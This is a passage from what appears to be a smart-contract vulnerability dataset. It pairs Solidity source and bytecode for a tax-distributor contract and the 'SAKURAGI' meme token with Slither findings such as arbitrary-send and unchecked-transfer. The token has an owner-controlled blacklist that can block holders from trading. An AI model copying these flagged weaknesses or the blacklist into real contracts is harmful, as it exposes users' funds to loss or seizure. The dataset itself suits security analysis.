600f906113f5906001600160a01b03166107d3565b90611553565b81111561142857600d546114259060649061134690600f906113f5906001600160a01b03166107d3565b90505b61143181610d81565b505b61143f84848484611673565b50505050565b600081848411156114695760405162461bcd60e51b8152600401610570919061195c565b5060006114768486611cb9565b95945050505050565b60006006548211156114e65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610570565b60006114f0611776565b90506114fc83826115d2565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600082611562575060006105a3565b600061156e8385611cd0565b90508261157b8583611cef565b146114fc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610570565b60006114fc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611799565b6000806116218385611d11565b9050838110156114fc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610570565b8080611681576116816117c7565b600080600080611690876117e3565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116bd908561182a565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116ec9084611614565b6001600160a01b03891660009081526001602052604090205561170e8161186c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161175391815260200190565b60405180910390a3505050508061176f5761176f600954600855565b5050505050565b60008060006117836118b6565b909250905061179282826115d2565b9250505090565b600081836117ba5760405162461bcd60e51b8152600401610570919061195c565b5060006114768486611cef565b6000600854116117d657600080fd5b6008805460095560009055565b6000806000806000806117f8876008546118f6565b915091506000611806611776565b90506000806118168a8585611923565b909b909a5094985092965092945050505050565b60006114fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611445565b6000611876611776565b905060006118848383611553565b306000908152600160205260409020549091506118a19082611614565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a76400006118d182826115d2565b8210156118ed57505060065492670de0b6b3a764000092509050565b90939092509050565b6000808061190960646113468787611553565b90506000611917868361182a565b96919550909350505050565b600080806119318685611553565b9050600061193f8686611553565b9050600061194d838361182a565b92989297509195505050505050565b600060208083528351808285015260005b818110156119895785810183015185820160400152820161196d565b8181111561199b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461058f57600080fd5b80356119d1816119b1565b919050565b600080604083850312156119e957600080fd5b82356119f4816119b1565b946020939093013593505050565b600080600060608486031215611a1757600080fd5b8335611a22816119b1565b92506020840135611a32816119b1565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a6c57600080fd5b823567ffffffffffffffff80821115611a8457600080fd5b818501915085601f830112611a9857600080fd5b813581811115611aaa57611aaa611a43565b8060051b604051601f19603f83011681018181108582111715611acf57611acf611a43565b604052918252848201925083810185019188831115611aed57600080fd5b938501935b82851015611b1257611b03856119c6565b84529385019392850192611af2565b98975050505050505050565b600060208284031215611b3057600080fd5b813580151581146114fc57600080fd5b600060208284031215611b5257600080fd5b81356114fc816119b1565b60008060408385031215611b7057600080fd5b8235611b7b816119b1565b91506020830135611b8b816119b1565b809150509250929050565b600060208284031215611ba857600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c2457611c24611bfa565b5060010190565b600060208284031215611c3d57600080fd5b81516114fc816119b1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c985784516001600160a01b031683529383019391830191600101611c73565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611ccb57611ccb611bfa565b500390565b6000816000190483118215151615611cea57611cea611bfa565b500290565b600082611d0c57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611d2457611d24611bfa565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d745b691e3609d5e24020778d1cfc3e3b74ab4a1f3fd4238ef3133e421507ae464736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 907 |
0x23ba4272A5c5b5641c751521d57E3413C6703131 | /**
*Submitted for verification at Etherscan.io on 2022-02-07
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
function div(uint256 x, uint256 y) internal pure returns(uint256 z){
require(y > 0);
z=x/y;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract OwnableData {
address public owner;
address public Sins;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
/// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`.
/// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise.
function transferOwnership(
address newOwner,
bool direct,
bool renounce
) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
function setSinsAddress(address _sins) public {
require(msg.sender == owner, "Ownable: caller is not the owner");
Sins = _sins;
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
/// @notice Only allows the `owner` to execute the function.
modifier onlySins() {
require(msg.sender == Sins, "Ownable: caller is not the sins");
_;
}
}
contract taxDistributor is Ownable {
using LowGasSafeMath for uint;
using LowGasSafeMath for uint32;
constructor( ) {
}
receive() external payable {
}
function addLiquidity(address urv2, address dai, uint256 tokenAmount, uint256 daiAmount, address liquidityTo) private {
// approve token transfer to cover all possible scenarios
IERC20(Sins).approve(urv2, tokenAmount);
IERC20(dai).approve(urv2, daiAmount);
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(urv2);
// add the liquidity
uniswapV2Router.addLiquidity(
dai,
Sins,
daiAmount,
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityTo,
block.timestamp
);
}
function distribute(address urv2, address dai, address marketingWallet, uint256 daiForBuyback, address buybackWallet, uint256 liquidityTokens, uint256 daiForLiquidity, address liquidityTo) external onlySins{
IERC20(dai).transfer(buybackWallet, daiForBuyback);
if(liquidityTokens > 0 && daiForLiquidity > 0){
addLiquidity(urv2, dai, liquidityTokens, daiForLiquidity, liquidityTo);
}
IERC20(dai).transfer(marketingWallet, IERC20(dai).balanceOf(address(this)));
}
} | 0x6080604052600436106100745760003560e01c80639fc8da1f1161004e5780639fc8da1f14610125578063a1231e731461013a578063b375fcdc1461017a578063e30c3978146101ed5761007b565b8063078dfbe7146100805780634e71e0c8146100d25780638da5cb5b146100e75761007b565b3661007b57005b600080fd5b34801561008c57600080fd5b506100d0600480360360608110156100a357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020810135151590604001351515610202565b005b3480156100de57600080fd5b506100d06103f7565b3480156100f357600080fd5b506100fc610512565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561013157600080fd5b506100fc61052e565b34801561014657600080fd5b506100d06004803603602081101561015d57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661054a565b34801561018657600080fd5b506100d0600480360361010081101561019e57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101358216916040820135811691606081013591608082013581169160a08101359160c08201359160e0013516610617565b3480156101f957600080fd5b506100fc6108b5565b60005473ffffffffffffffffffffffffffffffffffffffff16331461028857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b81156103b15773ffffffffffffffffffffffffffffffffffffffff83161515806102af5750805b61031a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4f776e61626c653a207a65726f20616464726573730000000000000000000000604482015290519081900360640190fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff808716939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff85167fffffffffffffffffffffffff0000000000000000000000000000000000000000918216179091556002805490911690556103f2565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff85161790555b505050565b60025473ffffffffffffffffffffffffffffffffffffffff1633811461047e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c657220213d2070656e64696e67206f776e6572604482015290519081900360640190fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff9092167fffffffffffffffffffffffff0000000000000000000000000000000000000000928316179055600280549091169055565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1633146105d057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60015473ffffffffffffffffffffffffffffffffffffffff16331461069d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f4f776e61626c653a2063616c6c6572206973206e6f74207468652073696e7300604482015290519081900360640190fd5b8673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85876040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561070e57600080fd5b505af1158015610722573d6000803e3d6000fd5b505050506040513d602081101561073857600080fd5b505082158015906107495750600082115b1561075b5761075b88888585856108d1565b8673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb878973ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156107df57600080fd5b505afa1580156107f3573d6000803e3d6000fd5b505050506040513d602081101561080957600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b16815273ffffffffffffffffffffffffffffffffffffffff909316600484015260248301919091525160448083019260209291908290030181600087803b15801561087f57600080fd5b505af1158015610893573d6000803e3d6000fd5b505050506040513d60208110156108a957600080fd5b50505050505050505050565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b600154604080517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8881166004830152602482018790529151919092169163095ea7b39160448083019260209291908290030181600087803b15801561094d57600080fd5b505af1158015610961573d6000803e3d6000fd5b505050506040513d602081101561097757600080fd5b5050604080517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff87811660048301526024820185905291519186169163095ea7b3916044808201926020929091908290030181600087803b1580156109f257600080fd5b505af1158015610a06573d6000803e3d6000fd5b505050506040513d6020811015610a1c57600080fd5b5050600154604080517fe8e3370000000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff87811660048301529283166024820152604481018590526064810186905260006084820181905260a4820181905284841660c48301524260e48301529151889384169263e8e337009261010480820193606093909283900390910190829087803b158015610aca57600080fd5b505af1158015610ade573d6000803e3d6000fd5b505050506040513d6060811015610af457600080fd5b505050505050505056fea2646970667358221220871babc0cd87802e771c5dd7ab9a59267b31f7a5aeb2ef617ffdd61c08bb213864736f6c63430007050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 908 |
0xe862849426e5b81c079fa2d47c23e17141fc5dbf | //I am the man who calls victory, Sakuragi.
//https://t.me/SakuragiETH
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SAKURAGI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Sakuragi Inu";
string private constant _symbol = "SAKURAGI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xD9Ebc30A8396E540A29D3E4B41A4cbA4C36c9423);
_feeAddrWallet2 = payable(0xD9Ebc30A8396E540A29D3E4B41A4cbA4C36c9423);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
